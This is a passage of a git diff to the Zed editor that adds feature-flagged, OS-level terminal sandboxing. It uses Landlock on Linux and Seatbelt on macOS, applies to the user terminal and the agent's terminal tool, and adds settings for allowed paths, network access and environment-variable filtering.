diff --git a/Cargo.lock b/Cargo.lock index 2b5cfff38787ce93619a904b04b38317cea2194b..271d5a7f0806900d3d9443d0813bdafe6c697692 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -14,6 +14,7 @@ dependencies = [ "chrono", "collections", "env_logger 0.11.8", + "feature_flags", "file_icons", "futures 0.3.31", "gpui", @@ -9338,6 +9339,17 @@ dependencies = [ "log", ] +[[package]] +name = "landlock" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49fefd6652c57d68aaa32544a4c0e642929725bdc1fd929367cdeb673ab81088" +dependencies = [ + "enumflags2", + "libc", + "thiserror 2.0.17", +] + [[package]] name = "language" version = "0.1.0" @@ -13155,6 +13167,7 @@ dependencies = [ "encoding_rs", "extension", "fancy-regex", + "feature_flags", "fs", "futures 0.3.31", "fuzzy", @@ -17390,6 +17403,7 @@ dependencies = [ "futures 0.3.31", "gpui", "itertools 0.14.0", + "landlock", "libc", "log", "parking_lot", diff --git a/assets/settings/default.json b/assets/settings/default.json index 0a824bbe93a0d68a23d934a63eb1fdab1e2f1b02..3f448396fbf835b26ef3cf528cb303c9bde034ab 100644 --- a/assets/settings/default.json +++ b/assets/settings/default.json @@ -1850,6 +1850,23 @@ // Timeout for hover and Cmd-click path hyperlink discovery in milliseconds. Specifying a // timeout of `0` will disable path hyperlinking in terminal. "path_hyperlink_timeout_ms": 1, + // Terminal sandboxing settings. When enabled, restricts which directories + // the shell process can access using OS-level kernel-enforced mechanisms. + // + // macOS uses Seatbelt (sandbox_init), Linux uses Landlock. + // Windows sandboxing is not yet supported. + "sandbox": { + // Whether terminal sandboxing is enabled. + "enabled": false, + // Which terminal types get sandboxed: + // "terminal" - only the user's interactive terminal panel + // "tool" - only the agent's terminal tool + // "both" - both + // "neither" - sandbox settings are defined but not applied + "apply_to": "both", + // Whether to allow network access from the sandboxed terminal. + "allow_network": true, + }, }, "code_actions_on_format": {}, // Settings related to running tasks. diff --git a/crates/acp_thread/Cargo.toml b/crates/acp_thread/Cargo.toml index 83cf86bfafc33e4d1b520ca5af04da626831aed7..696d74e43f04765d96aa01ce6d6bf3b7cded677f 100644 --- a/crates/acp_thread/Cargo.toml +++ b/crates/acp_thread/Cargo.toml @@ -24,6 +24,7 @@ buffer_diff.workspace = true chrono.workspace = true collections.workspace = true multi_buffer.workspace = true +feature_flags.workspace = true file_icons.workspace = true futures.workspace = true gpui.workspace = true diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs index 58252eaddca553eb1da4c960a829a88afb9eb497..c4be8751835fb696dd30fcc90db691e68fa24d5f 100644 --- a/crates/acp_thread/src/acp_thread.rs +++ b/crates/acp_thread/src/acp_thread.rs @@ -2442,6 +2442,7 @@ impl AcpThread { env, ..Default::default() }, + None, cx, ) }) @@ -2901,6 +2902,7 @@ mod tests { cx, vec![], PathStyle::local(), + None, ) }) .await diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs index fceb816f7f1471af1e5e2fb87f82bf66978c3df7..77474beb1d9fb85cb8b040d21a60a77fa6d6e6ae 100644 --- a/crates/acp_thread/src/terminal.rs +++ b/crates/acp_thread/src/terminal.rs @@ -1,10 +1,12 @@ use agent_client_protocol as acp; use anyhow::Result; +use feature_flags::{FeatureFlagAppExt, TerminalSandboxFeatureFlag}; use futures::{FutureExt as _, future::Shared}; use gpui::{App, AppContext, AsyncApp, Context, Entity, Task}; use language::LanguageRegistry; use markdown::Markdown; use project::Project; +use settings::Settings; use std::{ path::PathBuf, process::ExitStatus, @@ -238,6 +240,40 @@ pub async fn create_terminal_entity( .redirect_stdin_to_dev_null() .build(Some(command.clone()), &args); + // Resolve sandbox config for the agent terminal tool (feature-flagged) + let sandbox_config = project.update(cx, |project, cx| { + if !cx.has_flag::() { + return None; + } + let settings_location = cwd.as_ref().and_then(|cwd| { + let path: Arc = Arc::from(cwd.as_ref()); + project + .find_worktree(&path, cx) + .map(|(worktree, _)| settings::SettingsLocation { + worktree_id: worktree.read(cx).id(), + path: util::rel_path::RelPath::empty(), + }) + }); + let settings = terminal::terminal_settings::TerminalSettings::get(settings_location, cx); + settings.sandbox.as_ref().and_then(|sandbox| { + if !sandbox.enabled.unwrap_or(false) { + return None; + } + let apply_to = sandbox.apply_to.unwrap_or_default(); + match apply_to { + settings::SandboxApplyTo::Tool | settings::SandboxApplyTo::Both => {} + _ => return None, + } + let project_dir = cwd + .clone() + .unwrap_or_else(|| std::env::current_dir().unwrap_or_default()); + Some(terminal::terminal_settings::SandboxConfig::from_settings( + sandbox, + project_dir, + )) + }) + }); + project .update(cx, |project, cx| { project.create_terminal_task( @@ -248,6 +284,7 @@ pub async fn create_terminal_entity( env, ..Default::default() }, + sandbox_config, cx, ) }) diff --git a/crates/debugger_ui/src/session/running.rs b/crates/debugger_ui/src/session/running.rs index 1df442ef88fada109b6b7ad6e3bb5cf63f0ea453..2ff596ca96be4632f7d5b1415082a072ed730322 100644 --- a/crates/debugger_ui/src/session/running.rs +++ b/crates/debugger_ui/src/session/running.rs @@ -1149,6 +1149,7 @@ impl RunningState { .update(cx, |project, cx| { project.create_terminal_task( task_with_shell.clone(), + None, cx, ) }).await?; @@ -1318,8 +1319,9 @@ impl RunningState { let workspace = self.workspace.clone(); let weak_project = project.downgrade(); - let terminal_task = - project.update(cx, |project, cx| project.create_terminal_task(kind, cx)); + let terminal_task = project.update(cx, |project, cx| { + project.create_terminal_task(kind, None, cx) + }); let terminal_task = cx.spawn_in(window, async move |_, cx| { let terminal = terminal_task.await?; diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs index 8cbacfd823400f2988738af03a05dfbfc0ed72d4..952ddc48a9d7b77e7c2a3723403e4e15de5adb7b 100644 --- a/crates/feature_flags/src/flags.rs +++ b/crates/feature_flags/src/flags.rs @@ -62,3 +62,15 @@ impl FeatureFlag for StreamingEditFileToolFeatureFlag { true } } + +pub struct TerminalSandboxFeatureFlag; + +impl FeatureFlag for TerminalSandboxFeatureFlag { + // Reusing an existing flag string from the database. + // This will be replaced with a dedicated string later. + const NAME: &'static str = "agent-git-worktrees"; + + fn enabled_for_staff() -> bool { + false + } +} diff --git a/crates/project/Cargo.toml b/crates/project/Cargo.toml index cbcd5481ee3c48655fc78e17d5cf65d2ec978a09..977ce4e89a5afeb5d3ca3ad8a1708cd51324d218 100644 --- a/crates/project/Cargo.toml +++ b/crates/project/Cargo.toml @@ -49,6 +49,7 @@ context_server.workspace = true dap.workspace = true extension.workspace = true fancy-regex.workspace = true +feature_flags.workspace = true fs.workspace = true futures.workspace = true fuzzy.workspace = true diff --git a/crates/project/src/terminals.rs b/crates/project/src/terminals.rs index 6efddcdf7726110a61f15666c68b963181181086..2510d70531279390737e66b22d4fef99a90eaf7c 100644 --- a/crates/project/src/terminals.rs +++ b/crates/project/src/terminals.rs @@ -1,5 +1,6 @@ use anyhow::Result; use collections::HashMap; +use feature_flags::{FeatureFlagAppExt, TerminalSandboxFeatureFlag}; use gpui::{App, AppContext as _, Context, Entity, Task, WeakEntity}; use futures::{FutureExt, future::Shared}; @@ -61,6 +62,7 @@ impl Project { pub fn create_terminal_task( &mut self, spawn_task: SpawnInTerminal, + sandbox_config: Option, cx: &mut Context, ) -> Task>> { let is_via_remote = self.remote_client.is_some(); @@ -256,6 +258,7 @@ impl Project { cx, activation_script, path_style, + sandbox_config, )) })?? .await?; @@ -405,6 +408,31 @@ impl Project { None => (settings.shell, env), } }; + + // Resolve sandbox config for the user terminal (feature-flagged) + let sandbox_config = settings.sandbox.as_ref().and_then(|sandbox| { + if !cx.has_flag::() { + return None; + } + if !sandbox.enabled.unwrap_or(false) { + return None; + } + let apply_to = sandbox.apply_to.unwrap_or_default(); + match apply_to { + settings::SandboxApplyTo::Terminal | settings::SandboxApplyTo::Both => { + } + _ => return None, + } + let project_dir = local_path + .as_ref() + .map(|p| p.to_path_buf()) + .unwrap_or_else(|| std::env::current_dir().unwrap_or_default()); + Some(terminal::terminal_settings::SandboxConfig::from_settings( + sandbox, + project_dir, + )) + }); + anyhow::Ok(TerminalBuilder::new( local_path.map(|path| path.to_path_buf()), None, @@ -421,6 +449,7 @@ impl Project { cx, activation_script, path_style, + sandbox_config, )) })?? .await?; diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs index 8a5a497d265c02787d6944915c0dba56e2381a79..a1cc703afdfeb384ef96f07543e7214f09b46208 100644 --- a/crates/settings/src/vscode_import.rs +++ b/crates/settings/src/vscode_import.rs @@ -905,6 +905,7 @@ impl VsCodeSettings { detect_venv: None, path_hyperlink_regexes: None, path_hyperlink_timeout_ms: None, + sandbox: None, } } diff --git a/crates/settings_content/src/terminal.rs b/crates/settings_content/src/terminal.rs index a13613badfaa0a375dbcbdf6424e7bda59a84dc4..7f7b69e1ab095e95bbd790639025ded4fd86bfce 100644 --- a/crates/settings_content/src/terminal.rs +++ b/crates/settings_content/src/terminal.rs @@ -63,6 +63,81 @@ pub struct ProjectTerminalSettingsContent { /// /// Default: 1 pub path_hyperlink_timeout_ms: Option, + /// Sandbox settings for the terminal. + pub sandbox: Option, +} + +#[derive(Debug, Default, Clone, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)] +pub struct SandboxSettingsContent { + /// Whether terminal sandboxing is enabled. + /// + /// Default: false + pub enabled: Option, + + /// Which terminal types get sandboxed. + /// - "terminal": only the user's interactive terminal panel + /// - "tool": only the agent's terminal tool + /// - "both": both + /// - "neither": sandbox settings are defined but not applied + /// + /// Default: "both" + pub apply_to: Option, + + /// System paths the shell needs to function. These have OS-specific + /// defaults built into Zed. Set a category to an explicit array to + /// replace the default. Set to `[]` to deny all access of that type. + /// Leave as `null` to use the OS-specific default. + pub system_paths: Option, + + /// Additional directories to allow read+execute access to (binaries, toolchains). + /// These are for user-specific tool directories, not system paths. + pub additional_executable_paths: Option>, + + /// Additional directories to allow read-only access to. + pub additional_read_only_paths: Option>, + + /// Additional directories to allow read+write access to. + pub additional_read_write_paths: Option>, + + /// Whether to allow network access from the sandboxed terminal. + /// + /// Default: true + pub allow_network: Option, + + /// Environment variables to pass through to the sandboxed terminal. + /// All other env vars from the parent process are stripped. + /// + /// Default: ["PATH", "HOME", "USER", "SHELL", "LANG", "TERM", "TERM_PROGRAM", + /// "CARGO_HOME", "RUSTUP_HOME", "GOPATH", "EDITOR", "VISUAL", + /// "XDG_CONFIG_HOME", "XDG_DATA_HOME", "XDG_RUNTIME_DIR", + /// "SSH_AUTH_SOCK", "GPG_TTY", "COLORTERM"] + pub allowed_env_vars: Option>, +} + +#[derive(Debug, Default, Clone, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)] +pub struct SystemPathsSettingsContent { + /// Paths with read+execute access (binaries, shared libraries). + pub executable: Option>, + + /// Paths with read-only access (config files, data, certificates). + pub read_only: Option>, + + /// Paths with read+write access (devices, temp directories, IPC sockets). + pub read_write: Option>, +} + +#[derive(Debug, Default, Clone, Copy, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)] +#[serde(rename_all = "snake_case")] +pub enum SandboxApplyTo { + /// Only the user's interactive terminal panel + Terminal, + /// Only the agent's terminal tool + Tool, + /// Both terminal panel and agent terminal tool + #[default] + Both, + /// Sandbox settings are defined but not applied + Neither, } #[with_fallible_options] diff --git a/crates/terminal/Cargo.toml b/crates/terminal/Cargo.toml index ee29546b81c32038e85805850bc07111fca81af7..03ad1abc1b42dfdabd9549d68ae6e21b313b3412 100644 --- a/crates/terminal/Cargo.toml +++ b/crates/terminal/Cargo.toml @@ -32,6 +32,7 @@ regex.workspace = true release_channel.workspace = true schemars.workspace = true serde.workspace = true +serde_json.workspace = true settings.workspace = true sysinfo.workspace = true smol.workspace = true @@ -46,9 +47,11 @@ parking_lot.workspace = true [target.'cfg(windows)'.dependencies] windows.workspace = true +[target.'cfg(target_os = "linux")'.dependencies] +landlock = "0.4" + [dev-dependencies] gpui = { workspace = true, features = ["test-support"] } rand.workspace = true -serde_json.workspace = true settings = { workspace = true, features = ["test-support"] } util_macros.workspace = true diff --git a/crates/terminal/src/sandbox_exec.rs b/crates/terminal/src/sandbox_exec.rs new file mode 100644 index 0000000000000000000000000000000000000000..40215702de7cb5e6dfba15abe522cd6f08ed3bfd --- /dev/null +++ b/crates/terminal/src/sandbox_exec.rs @@ -0,0 +1,201 @@ +//! Sandbox executor: the `--sandbox-exec` entry point. +//! +//! When Zed is invoked with `--sandbox-exec -- [args...]`, +//! this module takes over. It: +//! 1. Parses the sandbox config from the JSON argument +//! 2. Filters environment variables to the allowed set +//! 3. Applies the OS-level sandbox (Seatbelt on macOS, Landlock on Linux) +//! 4. Execs the real shell (never returns) +//! +//! This approach avoids modifying the alacritty fork — alacritty spawns the +//! Zed binary as the "shell", and the Zed binary applies the sandbox before +//! exec-ing the real shell. Since both Seatbelt and Landlock sandboxes are +//! inherited by child processes, the real shell and everything it spawns +//! are sandboxed. +//! +//! Note: passing JSON directly via a CLI argument is safe because +//! `std::process::Command::arg()` passes arguments to `execve` without +//! shell interpretation, so no quoting issues arise. + +use crate::terminal_settings::SandboxConfig; +use std::os::unix::process::CommandExt; +use std::process::Command; + +/// Serializable sandbox config for passing between processes via a JSON CLI arg. +#[derive(serde::Serialize, serde::Deserialize)] +pub struct SandboxExecConfig { + pub project_dir: String, + pub executable_paths: Vec, + pub read_only_paths: Vec, + pub read_write_paths: Vec, + pub additional_executable_paths: Vec, + pub additional_read_only_paths: Vec, + pub additional_read_write_paths: Vec, + pub allow_network: bool, + pub allowed_env_vars: Vec, +} + +impl SandboxExecConfig { + /// Convert from the resolved `SandboxConfig` to the serializable form. + pub fn from_sandbox_config(config: &SandboxConfig) -> Self { + Self { + project_dir: config.project_dir.to_string_lossy().into_owned(), + executable_paths: config + .system_paths + .executable + .iter() + .map(|p| p.to_string_lossy().into_owned()) + .collect(), + read_only_paths: config + .system_paths + .read_only + .iter() + .map(|p| p.to_string_lossy().into_owned()) + .collect(), + read_write_paths: config + .system_paths + .read_write + .iter() + .map(|p| p.to_string_lossy().into_owned()) + .collect(), + additional_executable_paths: config + .additional_executable_paths + .iter() + .map(|p| p.to_string_lossy().into_owned()) + .collect(), + additional_read_only_paths: config + .additional_read_only_paths + .iter() + .map(|p| p.to_string_lossy().into_owned()) + .collect(), + additional_read_write_paths: config + .additional_read_write_paths + .iter() + .map(|p| p.to_string_lossy().into_owned()) + .collect(), + allow_network: config.allow_network, + allowed_env_vars: config.allowed_env_vars.clone(), + } + } + + /// Convert back to a `SandboxConfig` for the sandbox implementation functions. + pub fn to_sandbox_config(&self) -> SandboxConfig { + use std::path::PathBuf; + + use crate::terminal_settings::ResolvedSystemPaths; + SandboxConfig { + project_dir: PathBuf::from(&self.project_dir), + system_paths: ResolvedSystemPaths { + executable: self.executable_paths.iter().map(PathBuf::from).collect(), + read_only: self.read_only_paths.iter().map(PathBuf::from).collect(), + read_write: self.read_write_paths.iter().map(PathBuf::from).collect(), + }, + additional_executable_paths: self + .additional_executable_paths + .iter() + .map(PathBuf::from) + .collect(), + additional_read_only_paths: self + .additional_read_only_paths + .iter() + .map(PathBuf::from) + .collect(), + additional_read_write_paths: self + .additional_read_write_paths + .iter() + .map(PathBuf::from) + .collect(), + allow_network: self.allow_network, + allowed_env_vars: self.allowed_env_vars.clone(), + } + } + + /// Serialize the config to a JSON string for passing via CLI arg. + pub fn to_json(&self) -> String { + serde_json::to_string(self).expect("failed to serialize sandbox config") + } + + /// Deserialize a config from a JSON string. + pub fn from_json(json: &str) -> Result { + serde_json::from_str(json).map_err(|e| format!("invalid sandbox config JSON: {e}")) + } +} + +/// Main entry point for `zed --sandbox-exec [-- shell args...]`. +/// +/// This function never returns — it applies the sandbox and execs the real shell. +/// The `shell_args` are the remaining positional arguments after `--`. +pub fn sandbox_exec_main(config_json: &str, shell_args: &[String]) -> ! { + let config = match SandboxExecConfig::from_json(config_json) { + Ok(c) => c, + Err(e) => { + eprintln!("zed --sandbox-exec: failed to parse config: {e}"); + std::process::exit(1); + } + }; + + if shell_args.is_empty() { + eprintln!("zed --sandbox-exec: no shell command specified"); + std::process::exit(1); + } + + let sandbox_config = config.to_sandbox_config(); + + // Step 1: Filter environment variables. + // Keep only allowed vars + a few Zed-specific ones. + let zed_vars = [ + "ZED_TERM", + "TERM_PROGRAM", + "TERM", + "COLORTERM", + "TERM_PROGRAM_VERSION", + ]; + let allowed: std::collections::HashSet<&str> = + config.allowed_env_vars.iter().map(|s| s.as_str()).collect(); + + // Collect vars to remove (can't modify env while iterating) + let vars_to_remove: Vec = std::env::vars() + .filter_map(|(key, _)| { + if allowed.contains(key.as_str()) || zed_vars.contains(&key.as_str()) { + None + } else { + Some(key) + } + }) + .collect(); + + for key in &vars_to_remove { + // SAFETY: We are in a single-threaded sandbox wrapper process + // (the Zed binary invoked with --sandbox-exec), so there are no + // other threads that could be reading env vars concurrently. + unsafe { + std::env::remove_var(key); + } + } + + // Step 2: Apply the OS-level sandbox. + #[cfg(target_os = "macos")] + { + if let Err(e) = crate::sandbox_macos::apply_sandbox(&sandbox_config) { + eprintln!("zed --sandbox-exec: failed to apply macOS sandbox: {e}"); + std::process::exit(1); + } + } + + #[cfg(target_os = "linux")] + { + if let Err(e) = crate::sandbox_linux::apply_sandbox(&sandbox_config) { + eprintln!("zed --sandbox-exec: failed to apply Linux sandbox: {e}"); + std::process::exit(1); + } + } + + // Step 3: Exec the real shell. This replaces the current process. + let program = &shell_args[0]; + let args = &shell_args[1..]; + let err = Command::new(program).args(args).exec(); + + // exec() only returns on error + eprintln!("zed --sandbox-exec: failed to exec {program}: {err}"); + std::process::exit(1); +} diff --git a/crates/terminal/src/sandbox_linux.rs b/crates/terminal/src/sandbox_linux.rs new file mode 100644 index 0000000000000000000000000000000000000000..d166f33be52f3c1e953491789a18a5f10e87d090 --- /dev/null +++ b/crates/terminal/src/sandbox_linux.rs @@ -0,0 +1,152 @@ +//! Linux Landlock sandbox implementation. +//! +//! Uses the Landlock LSM to restrict filesystem access for the current process. +//! Must be called after fork(), before exec(). + +use landlock::{ + ABI, Access, AccessFs, PathBeneath, PathFd, Ruleset, RulesetAttr, RulesetCreatedAttr, + RulesetStatus, +}; +use std::io::{Error, Result}; +use std::path::Path; + +use crate::terminal_settings::SandboxConfig; + +const TARGET_ABI: ABI = ABI::V5; + +fn fs_read() -> AccessFs { + AccessFs::ReadFile | AccessFs::ReadDir +} + +fn fs_read_exec() -> AccessFs { + fs_read() | AccessFs::Execute +} + +fn fs_all() -> AccessFs { + AccessFs::from_all(TARGET_ABI) +} + +fn add_path_rule( + ruleset: landlock::RulesetCreated, + path: &Path, + access: AccessFs, +) -> std::result::Result { + match PathFd::new(path) { + Ok(fd) => ruleset.add_rule(PathBeneath::new(fd, access)), + Err(e) => { + // Path doesn't exist — skip it (e.g., /opt/homebrew on non-Homebrew systems) + log::debug!( + "Landlock: skipping nonexistent path {}: {e}", + path.display() + ); + Ok(ruleset) + } + } +} + +/// Apply a Landlock sandbox to the current process. +/// Must be called after fork(), before exec(). +pub fn apply_sandbox(config: &SandboxConfig) -> Result<()> { + // PR_SET_NO_NEW_PRIVS is required before landlock_restrict_self. + // It prevents the process from gaining privileges via setuid binaries. + let ret = unsafe { libc::prctl(libc::PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) }; + if ret != 0 { + return Err(Error::last_os_error()); + } + + let mut ruleset = Ruleset::default() + .handle_access(AccessFs::from_all(TARGET_ABI)) + .map_err(|e| Error::other(format!("landlock ruleset create: {e}")))? + .create() + .map_err(|e| Error::other(format!("landlock ruleset init: {e}")))?; + + // System executable paths (read + execute) + for path in &config.system_paths.executable { + ruleset = add_path_rule(ruleset, path, fs_read_exec()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // System read-only paths + for path in &config.system_paths.read_only { + ruleset = add_path_rule(ruleset, path, fs_read()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // System read+write paths + for path in &config.system_paths.read_write { + ruleset = add_path_rule(ruleset, path, fs_all()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // Project directory: full access + ruleset = add_path_rule(ruleset, &config.project_dir, fs_all()) + .map_err(|e| Error::other(format!("landlock project rule: {e}")))?; + + // User-configured paths + for path in &config.additional_executable_paths { + ruleset = add_path_rule(ruleset, path, fs_read_exec()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + for path in &config.additional_read_only_paths { + ruleset = add_path_rule(ruleset, path, fs_read()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + for path in &config.additional_read_write_paths { + ruleset = add_path_rule(ruleset, path, fs_all()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // Shell config dotfiles: read-only + if let Ok(home) = std::env::var("HOME") { + let home = Path::new(&home); + for dotfile in &[ + ".bashrc", + ".bash_profile", + ".bash_login", + ".profile", + ".zshrc", + ".zshenv", + ".zprofile", + ".zlogin", + ".zlogout", + ".inputrc", + ".terminfo", + ".gitconfig", + ] { + let path = home.join(dotfile); + if path.exists() { + ruleset = add_path_rule(ruleset, &path, fs_read()) + .map_err(|e| Error::other(format!("landlock dotfile rule: {e}")))?; + } + } + let config_dir = home.join(".config"); + if config_dir.exists() { + ruleset = add_path_rule(ruleset, &config_dir, fs_read()) + .map_err(|e| Error::other(format!("landlock .config rule: {e}")))?; + } + // /proc/self for bash process substitution + let proc_self = Path::new("/proc/self"); + if proc_self.exists() { + ruleset = add_path_rule(ruleset, proc_self, fs_read()) + .map_err(|e| Error::other(format!("landlock /proc/self rule: {e}")))?; + } + } + + let status = ruleset + .restrict_self() + .map_err(|e| Error::other(format!("landlock restrict_self: {e}")))?; + + match status.ruleset { + RulesetStatus::FullyEnforced => { + log::info!("Landlock sandbox fully enforced"); + } + RulesetStatus::PartiallyEnforced => { + log::warn!("Landlock sandbox partially enforced (older kernel ABI)"); + } + RulesetStatus::NotEnforced => { + log::warn!("Landlock not supported on this kernel; running unsandboxed"); + } + } + + Ok(()) +} diff --git a/crates/terminal/src/sandbox_macos.rs b/crates/terminal/src/sandbox_macos.rs new file mode 100644 index 0000000000000000000000000000000000000000..9a751676cf356b75069eed83e269024e08101bad --- /dev/null +++ b/crates/terminal/src/sandbox_macos.rs @@ -0,0 +1,137 @@ +//! macOS Seatbelt sandbox implementation. +//! +//! Uses `sandbox_init()` from `` to apply a Seatbelt sandbox profile +//! to the current process. Must be called after fork(), before exec(). + +use std::ffi::{CStr, CString}; +use std::fmt::Write; +use std::io::{Error, Result}; +use std::os::raw::c_char; +use std::path::Path; + +use crate::terminal_settings::SandboxConfig; + +unsafe extern "C" { + fn sandbox_init(profile: *const c_char, flags: u64, errorbuf: *mut *mut c_char) -> i32; + fn sandbox_free_error(errorbuf: *mut c_char); +} + +/// Apply a Seatbelt sandbox profile to the current process. +/// Must be called after fork(), before exec(). +/// +/// # Safety +/// This function calls C FFI functions and must only be called +/// in a pre_exec context (after fork, before exec). +pub fn apply_sandbox(config: &SandboxConfig) -> Result<()> { + let profile = generate_sbpl_profile(config); + let profile_cstr = + CString::new(profile).map_err(|_| Error::other("sandbox profile contains null byte"))?; + let mut errorbuf: *mut c_char = std::ptr::null_mut(); + + let ret = unsafe { sandbox_init(profile_cstr.as_ptr(), 0, &mut errorbuf) }; + + if ret == 0 { + return Ok(()); + } + + let msg = if !errorbuf.is_null() { + let s = unsafe { CStr::from_ptr(errorbuf) } + .to_string_lossy() + .into_owned(); + unsafe { sandbox_free_error(errorbuf) }; + s + } else { + "unknown sandbox error".to_string() + }; + Err(Error::other(format!("sandbox_init failed: {msg}"))) +} + +/// Generate an SBPL (Sandbox Profile Language) profile from the sandbox config. +fn generate_sbpl_profile(config: &SandboxConfig) -> String { + let mut p = String::from("(version 1)\n(deny default)\n"); + + // Process lifecycle + p.push_str("(allow process-exec)\n"); + p.push_str("(allow process-fork)\n"); + p.push_str("(allow signal)\n"); + + // System services needed for basic operation + p.push_str("(allow mach-lookup)\n"); + p.push_str("(allow sysctl-read)\n"); + p.push_str("(allow iokit-open)\n"); + + // System executable paths (read + execute) + for path in &config.system_paths.executable { + write_subpath_rule(&mut p, path, "file-read* process-exec"); + } + + // System read-only paths + for path in &config.system_paths.read_only { + write_subpath_rule(&mut p, path, "file-read*"); + } + + // System read+write paths (devices, temp dirs, IPC) + for path in &config.system_paths.read_write { + write_subpath_rule(&mut p, path, "file-read* file-write*"); + } + + // Project directory: full access + write_subpath_rule(&mut p, &config.project_dir, "file-read* file-write*"); + + // User-configured additional paths + for path in &config.additional_executable_paths { + write_subpath_rule(&mut p, path, "file-read* process-exec"); + } + for path in &config.additional_read_only_paths { + write_subpath_rule(&mut p, path, "file-read*"); + } + for path in &config.additional_read_write_paths { + write_subpath_rule(&mut p, path, "file-read* file-write*"); + } + + // User shell config files: read-only access to $HOME dotfiles + if let Ok(home) = std::env::var("HOME") { + let home = Path::new(&home); + for dotfile in &[ + ".zshrc", + ".zshenv", + ".zprofile", + ".zlogin", + ".zlogout", + ".bashrc", + ".bash_profile", + ".bash_login", + ".profile", + ".inputrc", + ".terminfo", + ".gitconfig", + ] { + let path = home.join(dotfile); + if path.exists() { + let _ = write!(p, "(allow file-read* (literal \"{}\"))\n", path.display()); + } + } + // XDG config directory + let config_dir = home.join(".config"); + if config_dir.exists() { + write_subpath_rule(&mut p, &config_dir, "file-read*"); + } + } + + // Network + if config.allow_network { + p.push_str("(allow network-outbound)\n"); + p.push_str("(allow network-inbound)\n"); + p.push_str("(allow system-socket)\n"); + } + + p +} + +fn write_subpath_rule(p: &mut String, path: &Path, permissions: &str) { + let _ = write!( + p, + "(allow {permissions} (subpath \"{}\"))\n", + path.display() + ); +} diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs index 56cca7cb40195298ed0479fc43c8b13b6c577249..e94302ab2b1c652f05e179f2e38c4267fa326ec4 100644 --- a/crates/terminal/src/terminal.rs +++ b/crates/terminal/src/terminal.rs @@ -3,9 +3,18 @@ pub mod mappings; pub use alacritty_terminal; mod pty_info; +#[cfg(unix)] +pub mod sandbox_exec; +#[cfg(target_os = "linux")] +pub mod sandbox_linux; +#[cfg(target_os = "macos")] +pub mod sandbox_macos; mod terminal_hyperlinks; pub mod terminal_settings; +#[cfg(unix)] +pub use sandbox_exec::sandbox_exec_main; + use alacritty_terminal::{ Term, event::{Event as AlacTermEvent, EventListener, Notify, WindowSize}, @@ -441,6 +450,7 @@ impl TerminalBuilder { cx: &App, activation_script: Vec, path_style: PathStyle, + sandbox_config: Option, ) -> Task> { let version = release_channel::AppVersion::global(cx); let background_executor = cx.background_executor().clone(); @@ -460,6 +470,26 @@ impl TerminalBuilder { insert_zed_terminal_env(&mut env, &version); + // When sandbox is enabled, filter env vars to only the allowed set. + // Zed-specific vars (inserted above) are always kept. + if let Some(ref sandbox) = sandbox_config { + let allowed: collections::HashSet<&str> = sandbox + .allowed_env_vars + .iter() + .map(|s| s.as_str()) + .collect(); + let zed_vars = [ + "ZED_TERM", + "TERM_PROGRAM", + "TERM", + "COLORTERM", + "TERM_PROGRAM_VERSION", + ]; + env.retain(|key, _| { + allowed.contains(key.as_str()) || zed_vars.contains(&key.as_str()) + }); + } + #[derive(Default)] struct ShellParams { program: String, @@ -528,6 +558,45 @@ impl TerminalBuilder { ) }); + // When sandbox is enabled, wrap the shell with the Zed binary + // invoked as `--sandbox-exec -- [args...]`. + // The Zed binary applies the OS-level sandbox and execs the + // real shell, avoiding the need to modify the alacritty fork. + #[cfg(unix)] + let alac_shell = if let Some(ref sandbox) = sandbox_config { + let exec_config = sandbox_exec::SandboxExecConfig::from_sandbox_config(sandbox); + let config_json = exec_config.to_json(); + + let zed_binary = + std::env::current_exe().unwrap_or_else(|_| PathBuf::from("zed")); + + let mut args = + vec!["--sandbox-exec".to_string(), config_json, "--".to_string()]; + + // Append the real shell command after `--` + if let Some(ref params) = shell_params { + args.push(params.program.clone()); + if let Some(ref shell_args) = params.args { + args.extend(shell_args.clone()); + } + } else { + // System shell: resolve it and start as login shell + // so profile files (.zprofile, .bash_profile, etc.) are sourced. + // Normally alacritty uses /usr/bin/login for this, but the + // sandbox wrapper bypasses that, so we pass -l explicitly. + let system_shell = util::get_default_system_shell(); + args.push(system_shell); + args.push("-l".to_string()); + } + + Some(alacritty_terminal::tty::Shell::new( + zed_binary.to_string_lossy().into_owned(), + args, + )) + } else { + alac_shell + }; + alacritty_terminal::tty::Options { shell: alac_shell, working_directory: working_directory.clone(), @@ -2310,6 +2379,7 @@ impl Terminal { cx, self.activation_script.clone(), self.path_style, + None, ) } } @@ -2597,6 +2667,7 @@ mod tests { cx, vec![], PathStyle::local(), + None, ) }) .await @@ -2743,6 +2814,7 @@ mod tests { cx, Vec::new(), PathStyle::local(), + None, ) }) .await @@ -2819,6 +2891,7 @@ mod tests { cx, Vec::new(), PathStyle::local(), + None, ) }) .await @@ -3307,6 +3380,7 @@ mod tests { cx, vec![], PathStyle::local(), + None, ) }) .await diff --git a/crates/terminal/src/terminal_settings.rs b/crates/terminal/src/terminal_settings.rs index 45f22319869381ae497e64c2f8e65abed6fe9d69..080cb529f6d5962cb2acbdbba66e1d175807ed2b 100644 --- a/crates/terminal/src/terminal_settings.rs +++ b/crates/terminal/src/terminal_settings.rs @@ -5,6 +5,7 @@ use collections::HashMap; use gpui::{FontFallbacks, FontFeatures, FontWeight, Pixels, px}; use schemars::JsonSchema; use serde::{Deserialize, Serialize}; +use std::path::PathBuf; pub use settings::AlternateScroll; @@ -50,6 +51,7 @@ pub struct TerminalSettings { pub minimum_contrast: f32, pub path_hyperlink_regexes: Vec, pub 